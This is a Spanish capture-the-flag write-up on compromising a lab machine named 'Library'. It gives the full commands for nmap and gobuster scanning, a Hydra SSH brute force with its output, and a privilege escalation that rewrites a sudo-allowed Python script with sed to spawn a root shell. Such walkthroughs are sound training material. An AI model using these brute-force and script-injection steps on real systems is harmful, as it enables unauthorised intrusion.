13. ✅Máquina: Library (Fácil)

1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
  - *Comando*: `nmap -sVC 172.17.0.2 -Pn`
  - *Resultado*: Se encontraron los servicios SSH y HTTP abiertos.

2. Búsqueda de directorios activos con Gobuster:

- Usamos *Gobuster* para encontrar directorios activos en el servicio HTTP.
  - *Comando*: `gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html`
  - *Resultado*: Se encontró el directorio */index.php*, el cual nos muestra un string que parece ser una contraseña. `JIFGHDS87GYDFIGD`

3. Ataque de fuerza bruta con Hydra:

- Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta *Hydra* utilizando, tanto para el nombre de usuario *JIFGHDS87GYDFIGD*, como tambien de contraseña, con los usuarios en *usernames.txt* y las contraseñas de *rockyou.txt*, ya que no sabemos al completo si se trata de un usuario o de una contraseña, aunque tiene más similitud a una contraseña.
  - *Comando*: Como usuario: `hydra -l JIFGHDS87GYDFIGD -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -I`
    Como contraseña: `hydra -L /usr/share/wordlists/usernames.txt -p JIFGHDS87GYDFIGD  172.17.0.2 ssh -I`
  - *Resultado*: Se encontró el usuario “carlos” para la contraseña "JIFGHDS87GYDFIGD ".

```
┌──(root㉿kali)-[/home/kali]
└─# hydra -L /usr/share/wordlists/usernames.txt -p JIFGHDS87GYDFIGD  172.17.0.2 ssh -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-27 06:27:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 81475 login tries (l:81475/p:1), ~5093 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[STATUS] 283.00 tries/min, 283 tries in 00:01h, 81197 to do in 04:47h, 11 active
[STATUS] 251.67 tries/min, 755 tries in 00:03h, 80725 to do in 05:21h, 11 active
[STATUS] 220.86 tries/min, 1546 tries in 00:07h, 79935 to do in 06:02h, 10 active
[STATUS] 204.33 tries/min, 3065 tries in 00:15h, 78417 to do in 06:24h, 9 active
[STATUS] 188.84 tries/min, 5854 tries in 00:31h, 75628 to do in 06:41h, 9 active
[STATUS] 184.94 tries/min, 8692 tries in 00:47h, 72790 to do in 06:34h, 9 active
[STATUS] 180.83 tries/min, 11392 tries in 01:03h, 70091 to do in 06:28h, 8 active
[22][ssh] host: 172.17.0.2   login: carlos   password: JIFGHDS87GYDFIGD
```

4. Conexión SSH a la máquina víctima:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas.
  - Comando: `ssh carlos@172.17.0.2`
  - Resultado: Nos encontramos dentro del usuario *carlos* en la máquina victima (ingresando password *JIFGHDS87GYDFIGD*)

5. Verificación de permisos del usuario:

- Verificamos los permisos del usuario Carlos.
  - Comando: `sudo -l`
  - Resultado: El usuario Carlos tiene permisos para ejecutar binarios *python3* y poder runnear el script *script.py* `(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py` .

6. Escalado de Privilegios para Carlos:

- Habiendo observado que Carlos puede ejecutar el script.py usando *python3* , buscamos un exploit en *python3* para realizar la escalada de privilegios en GTFOBins . Lo que podemos hacer es editar este script.py para introducir código malicioso y gracias a sus permisos de ejecución para realizar una escalada de privilegios.
  - Comando: `sudo python3 -c 'import os; os.system("/bin/sh")'`. Tendremos que editar el script para introducir este código directamente, ya que no podemos ejecutar *python3* por si solo.

7. Edición del script.py:

- El principal problema es que no tenemos permisos para usar editores de texto para introducir el código malicioso en el script. Lo que podemos usar es la herramienta *SED* para realizar sustituciones y sustituir código del script.py de tal forma que introduzcamos el código a ejecutar.

- *Comando*: Importamos libreria del sistema operativo: `sed 's/import shutil/import os/g' -i /opt/script.py`. Introducimos código para ejecutar bash con escalada de privilegios: `sed 's/copiar_archivo(origen, destino)/os.system()/g' -i /opt/script.py` --> `sed 's/os.system()/os.system("\/bin\/sh")/g' -i /opt/script.py`. Modificamos la función sustituida: `sed 's/def os.system():/def hola():/g' -i /opt/script.py`
- *Resultado:* Hemos obtenido un script con el código malicioso a ejecutar para obtener una bash con máximos privilegios.

```
carlos@242d258beca7:/opt$ cat script.py
import os

def hola():
    shutil.copy(origen, destino)
    print(f'Archivo copiado de {origen} a {destino}')

if __name__ == '__main__':
    origen = '/opt/script.py'
    destino = '/tmp/script_backup.py'
    os.system("/bin/sh")
```

- *8. Ejecución del script.py:*
  - Una vez hemos obtenido el *script.py* con el código malicioso introducido, podemos ejecutarlo (ya que nuestro usuario tiene permisos de ejecución de este mismo script) para obtener la bash root.
    - *Comando*: `sudo /usr/bin/python3 /opt/script.py`
    - *Resultado*: Hemos obtenido una bash con máximos privilegios utilizando el script modificado con el código malicioso aprovechando los permisos del usuario carlos. Fin de la intrusión!

```
carlos@242d258beca7:/opt$ sudo /usr/bin/python3 /opt/script.py
# whoami
root
# script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@242d258beca7:/opt# whoami
root
root@242d258beca7:/opt# xDaliK
bash: xDaliK: command not found
```